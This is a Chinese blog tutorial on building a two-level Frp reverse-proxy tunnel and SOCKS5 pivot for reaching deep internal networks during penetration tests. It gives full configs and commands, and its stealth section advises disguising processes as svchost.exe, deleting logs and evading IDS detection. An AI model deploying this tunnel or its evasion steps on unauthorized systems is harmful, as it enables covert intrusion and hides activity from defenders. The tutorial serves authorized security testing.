news 2026/4/15 11:34:11

从 0 到 1 掌握 Frp 二级隧道:渗透测试内网漫游的关键技术

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从 0 到 1 掌握 Frp 二级隧道:渗透测试内网漫游的关键技术

Frp(Fast Reverse Proxy)作为一款轻量高性能的反向代理工具,凭借跨平台、多协议支持的特性,成为渗透测试中实现内网穿透的核心利器。而二级隧道代理技术,更是突破多层内网隔离、触达核心业务资产的关键手段。本文将从技术原理、环境架构、精细化配置、高级玩法及攻防对抗视角,全方位拆解Frp二级隧道的落地流程,同时结合实战场景给出前瞻性优化方案。

一、Frp二级隧道的核心原理与价值定位

1. 技术本质:多层代理的链路级转发

传统一级Frp隧道仅能实现“外网VPS←→单层内网主机”的连通,而二级隧道通过**“服务端-客户端-中转服务端-目标客户端”**的四级链路架构,构建跨网段的数据传输通道。
其核心转发逻辑如下:

  1. 一级链路锚定外网:外网VPS部署Frps主服务端,第一层内网主机(DMZ区/边界设备)通过Frpc客户端连接VPS,打通外网与第一层内网的通信桥梁。
  2. 二级链路穿透深层内网:第一层内网主机同时部署中转Frps服务端,第二层内网主机(核心业务区/数据库服务器)通过Frpc客户端连接该中转服务端;再由第一层内网的Frpc客户端,将中转Frps的端口映射至外网VPS。
  3. 全链路数据流转:攻击者本地→外网VPS→第一层内网中转节点→第二层内网目标主机,最终实现对深层内网服务的访问与控制。

2. 渗透测试中的核心价值

  • 突破网络隔离:解决第二层内网主机“仅能访问第一层内网、无法直连外网”的限制,触达传统扫描工具无法探测的核心资产。
  • 端口灵活转发:支持TCP/UDP/HTTP/HTTPS等多协议,可转发3389(远程桌面)、3306(MySQL)、8080(Web服务)等关键端口。
  • 隐蔽性强:隧道流量经加密传输,可伪装成正常业务流量,降低被防火墙、IDS/IPS检测的概率。
  • 轻量化部署:Frp二进制文件体积小(不足10MB),支持Windows/Linux/macOS多系统,无需依赖复杂运行环境,可快速部署与清理。

二、精细化环境搭建与配置

1. 节点角色与环境要求

节点类型网络属性部署组件核心要求
外网VPS公网IP,7000/自定义端口可访问Frps主服务端需开放防火墙端口,建议使用云服务器(稳定)
第一层内网中转主机可访问外网VPS+可访问第二层内网Frpc(连VPS)+ Frps中转服务端需管理员权限,支持端口绑定与后台进程运行
第二层内网目标主机仅可访问第一层内网中转主机Frpc(连中转Frps)无需公网权限,仅需与中转主机网络连通
攻击者本地主机可访问外网VPSFrpc客户端/代理工具(Proxifier)需配置代理链路,实现对目标端口的访问

2. 分步配置与启动(以Linux+Windows混合环境为例)

步骤1:外网VPS部署Frps主服务端
  1. 下载与解压:从Frp官方仓库下载对应系统版本,解压后得到frps(服务端)、frps.ini(配置文件)。
  2. 精细化配置frps.ini
    [common] bind_addr = 0.0.0.0 # 监听所有网卡 bind_port = 7000 # Frps主监听端口(需开放防火墙) token = P@ssw0rd2024 # 认证令牌,防止未授权连接 max_pool_count = 50 # 最大连接池数量,提升并发性能 tls_enable = true # 开启TLS加密,防止流量被窃听 dashboard_port = 7500 # 仪表盘端口,监控隧道状态 dashboard_user = admin # 仪表盘账号 dashboard_pwd = Admin@123 # 仪表盘密码 log_file = ./frps.log # 日志文件路径 log_level = info # 日志级别(debug/info/warn/error) log_max_days = 3 # 日志保留天数
  3. 后台启动与验证
    # Linux后台启动(nohup+&组合)nohup./frps-c./frps.ini>/dev/null2>&1&# 验证端口监听ss-tulnp|grep7000# 访问仪表盘验证(浏览器打开http://VPS公网IP:7500)
步骤2:第一层内网中转主机部署双角色(Frpc+Frps中转)

该主机需同时承担“连接外网VPS的客户端”和“第二层内网的服务端”两个角色,核心是将中转Frps的端口映射至外网VPS。

(1)配置Frpc客户端(连接外网VPS)

新建frpc_vps.ini

[common] server_addr = 1.1.1.1 # 外网VPS公网IP server_port = 7000 # VPS的Frps主监听端口 token = P@ssw0rd2024 # 与VPS的token一致 tls_enable = true # 与服务端保持一致,开启加密 # 映射中转Frps的监听端口至VPS [frps_transit] type = tcp # 协议类型 local_ip = 127.0.0.1 # 中转Frps的本地监听IP local_port = 7001 # 中转Frps的监听端口 remote_port = 7001 # VPS映射的端口(需开放防火墙) use_encryption = true # 开启流量加密 use_compression = true # 开启流量压缩,提升传输效率
(2)配置Frps中转服务端(供第二层内网连接)

新建frps_transit.ini

[common] bind_addr = 0.0.0.0 # 监听所有网卡,允许第二层内网主机连接 bind_port = 7001 # 与上方local_port一致 token = Transit@2024 # 二级隧道独立令牌,与第二层内网Frpc一致 tls_enable = true # 开启加密 log_file = ./frps_transit.log log_level = info
(3)启动双进程并验证(以Windows系统为例)
# 后台启动连接VPS的Frpc start /b frpc.exe -c frpc_vps.ini # 后台启动中转Frps start /b frps.exe -c frps_transit.ini # 验证端口监听(7001端口需被占用) netstat -ano | findstr "7001"
步骤3:第二层内网目标主机部署Frpc客户端

新建frpc_target.ini,核心是连接第一层内网的中转Frps服务端,并转发目标端口:

[common] server_addr = 192.168.1.10 # 第一层内网中转主机的内网IP server_port = 7001 # 中转Frps的监听端口 token = Transit@2024 # 与中转Frps的token一致 tls_enable = true # 转发远程桌面端口(3389) [rdp_target] type = tcp local_ip = 127.0.0.1 local_port = 3389 remote_port = 33890 # 中转主机映射的端口 # 转发MySQL数据库端口(3306) [mysql_target] type = tcp local_ip = 127.0.0.1 local_port = 3306 remote_port = 33060 # 转发Web服务端口(8080) [web_target] type = tcp local_ip = 127.0.0.1 local_port = 8080 remote_port = 80800

启动客户端并验证:

start /b frpc.exe -c frpc_target.ini netstat -ano | findstr "7001"
步骤4:攻击者本地访问目标服务

通过“本地→VPS→中转主机→目标主机”的链路,直接访问映射端口:

# 访问3389远程桌面(Windows本地)mstsc /v:1.1.1.1:33890# 访问MySQL数据库(Linux本地)mysql-h1.1.1.1-P33060-uroot-p# 访问8080 Web服务(浏览器)http://1.1.1.1:80800

三、高级玩法:Socks5代理实现全内网漫游

上述端口转发仅能访问指定端口,若需访问第二层内网的任意主机和端口,可配置Socks5代理实现全内网漫游,这也是渗透测试横向移动的关键技巧。

1. 配置流程

(1)第一层内网中转主机新增Socks5配置

修改frpc_vps.ini,新增Socks5代理映射:

[socks5_proxy] type = tcp local_ip = 127.0.0.1 local_port = 1080 # 本地Socks5代理端口 remote_port = 1080 # VPS映射的Socks5端口 plugin = socks5 # 启用Socks5插件 plugin_user = proxy_user # 可选,Socks5认证账号 plugin_passwd = Proxy@123 # 可选,Socks5认证密码 use_encryption = true use_compression = true

重启Frpc客户端,使配置生效。

(2)攻击者本地配置代理工具

以Proxifier为例:

  1. 添加代理服务器:地址为VPS公网IP,端口为1080,协议选择Socks5。
  2. 配置代理规则:将需要访问的第二层内网网段(如192.168.2.0/24)路由至该代理服务器。
(3)实现全内网漫游

此时攻击者可直接访问第二层内网的任意主机和端口,例如:

# 扫描第二层内网存活主机nmap-sP192.168.2.0/24-sT-Pn# 访问第二层内网其他主机的Web服务curlhttp://192.168.2.30:80# 远程连接第二层内网其他主机的3389端口mstsc /v:192.168.2.50:3389

四、攻防对抗视角:隐蔽性优化与风险规避

1. 提升隧道隐蔽性的关键技巧

  • 进程伪装:将Frp进程重命名为系统常见进程名,如svchost.exe(Windows)、sshd(Linux),降低被管理员发现的概率。
  • 端口混淆:避免使用默认的7000端口,改用80、443等常用业务端口,绕过端口封禁策略。
  • 流量加密与混淆:强制开启tls_enable = true,并结合use_encryptionuse_compression,防止流量被特征检测;可通过自定义插件对流量进行二次混淆。
  • 日志清理:测试完成后,及时删除Frp的日志文件和配置文件,避免留下痕迹。
  • 周期性心跳调整:修改heartbeat_interval(心跳间隔)和heartbeat_timeout(超时时间),使心跳包频率接近正常业务流量。

2. 渗透测试中的合规与风险注意事项

  • 授权前提:仅可在授权范围内使用该技术,未经授权的内网穿透属于违法行为。
  • 避免影响业务:测试过程中需控制隧道带宽,避免占用过多资源导致目标业务系统卡顿或崩溃。
  • 及时清理痕迹:测试完成后,需停止并删除所有Frp进程、配置文件和日志,恢复网络环境至初始状态。
  • 防御检测规避:针对目标网络的IDS/IPS设备,可采用分片传输、动态端口切换等方式,降低隧道被检测的概率。

五、前瞻性技术拓展与趋势

1. 与其他工具的联动应用

  • 结合漏洞扫描工具:将Socks5代理配置到Nessus、AWVS等扫描工具中,实现对深层内网的漏洞扫描。
  • 配合横向移动工具:通过隧道代理使用Cobalt Strike、Metasploit等工具,实现对第二层内网的横向渗透。
  • 集成至自动化框架:将Frp二级隧道的部署与配置集成至渗透测试自动化框架(如AutoSploit),提升测试效率。

2. 技术发展趋势

  • 云原生适配:随着云环境普及,Frp与K8s、Docker等容器技术的联动将成为趋势,实现容器化环境的内网穿透。
  • 智能化动态隧道:结合AI技术实现动态端口切换、流量混淆和自适应加密,提升隧道的抗检测能力。
  • 轻量级无文件部署:通过内存加载技术实现Frp的无文件运行,进一步降低痕迹残留风险。

六、总结

Frp二级隧道代理技术,是渗透测试中突破多层内网隔离的“利器”。其核心价值在于通过多层代理转发,构建从外网到深层内网的全链路通信通道,实现对核心资产的访问与控制。在实际应用中,需结合目标网络拓扑灵活调整配置,同时注重隐蔽性优化与合规性风险规避。随着网络攻防技术的不断演进,Frp二级隧道的技术形态也将持续升级,为渗透测试提供更高效、更隐蔽的内网穿透解决方案。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/15 10:39:49

QuickLook:5个超实用技巧让你3分钟精通Windows文件预览神器

QuickLook:5个超实用技巧让你3分钟精通Windows文件预览神器 【免费下载链接】QuickLook Bring macOS “Quick Look” feature to Windows 项目地址: https://gitcode.com/gh_mirrors/qu/QuickLook 你是否曾在整理项目文件时,为了查看一个图片内容…

作者头像 李华
网站建设 2026/4/15 1:13:36

CesiumJS移动端终极优化指南:性能飞跃与续航革命

CesiumJS移动端终极优化指南:性能飞跃与续航革命 【免费下载链接】cesium An open-source JavaScript library for world-class 3D globes and maps :earth_americas: 项目地址: https://gitcode.com/GitHub_Trending/ce/cesium 移动端3D地理信息应用开发面临…

作者头像 李华
网站建设 2026/4/15 10:39:52

OpenHashTab文件校验工具终极指南:Windows平台最佳选择

还在为下载的文件是否完整而烦恼吗?🤔 每次从网上下载重要文件,是不是都要手动计算哈希值来验证?别担心,今天要介绍的OpenHashTab文件校验工具,绝对能让你的文件验证体验起飞!🚀 【免…

作者头像 李华
网站建设 2026/4/10 19:41:51

UI-TARS:告别重复操作,让手机自动化触手可及

UI-TARS:告别重复操作,让手机自动化触手可及 【免费下载链接】UI-TARS 项目地址: https://gitcode.com/GitHub_Trending/ui/UI-TARS 你是否厌倦了每天在手机上重复执行相同的操作?是否希望有个智能助手能帮你自动完成那些繁琐的点击、…

作者头像 李华
网站建设 2026/4/11 15:03:39

全网最全专科生AI论文网站TOP9:毕业论文写作必备测评

全网最全专科生AI论文网站TOP9:毕业论文写作必备测评 2025年专科生AI论文写作工具测评:为何需要这份榜单? 随着人工智能技术的不断进步,越来越多的专科生开始借助AI工具辅助论文写作。然而,面对市场上琳琅满目的平台&a…

作者头像 李华
网站建设 2026/4/9 8:38:19

从入门到精通:Java Serverless资源配置全流程指南(含压测数据)

第一章:Java Serverless资源配置概述在构建基于 Java 的 Serverless 应用时,合理配置资源是确保性能与成本平衡的关键。Serverless 平台如 AWS Lambda、Google Cloud Functions 或 Azure Functions 允许开发者以事件驱动的方式运行 Java 代码&#xff0c…

作者头像 李华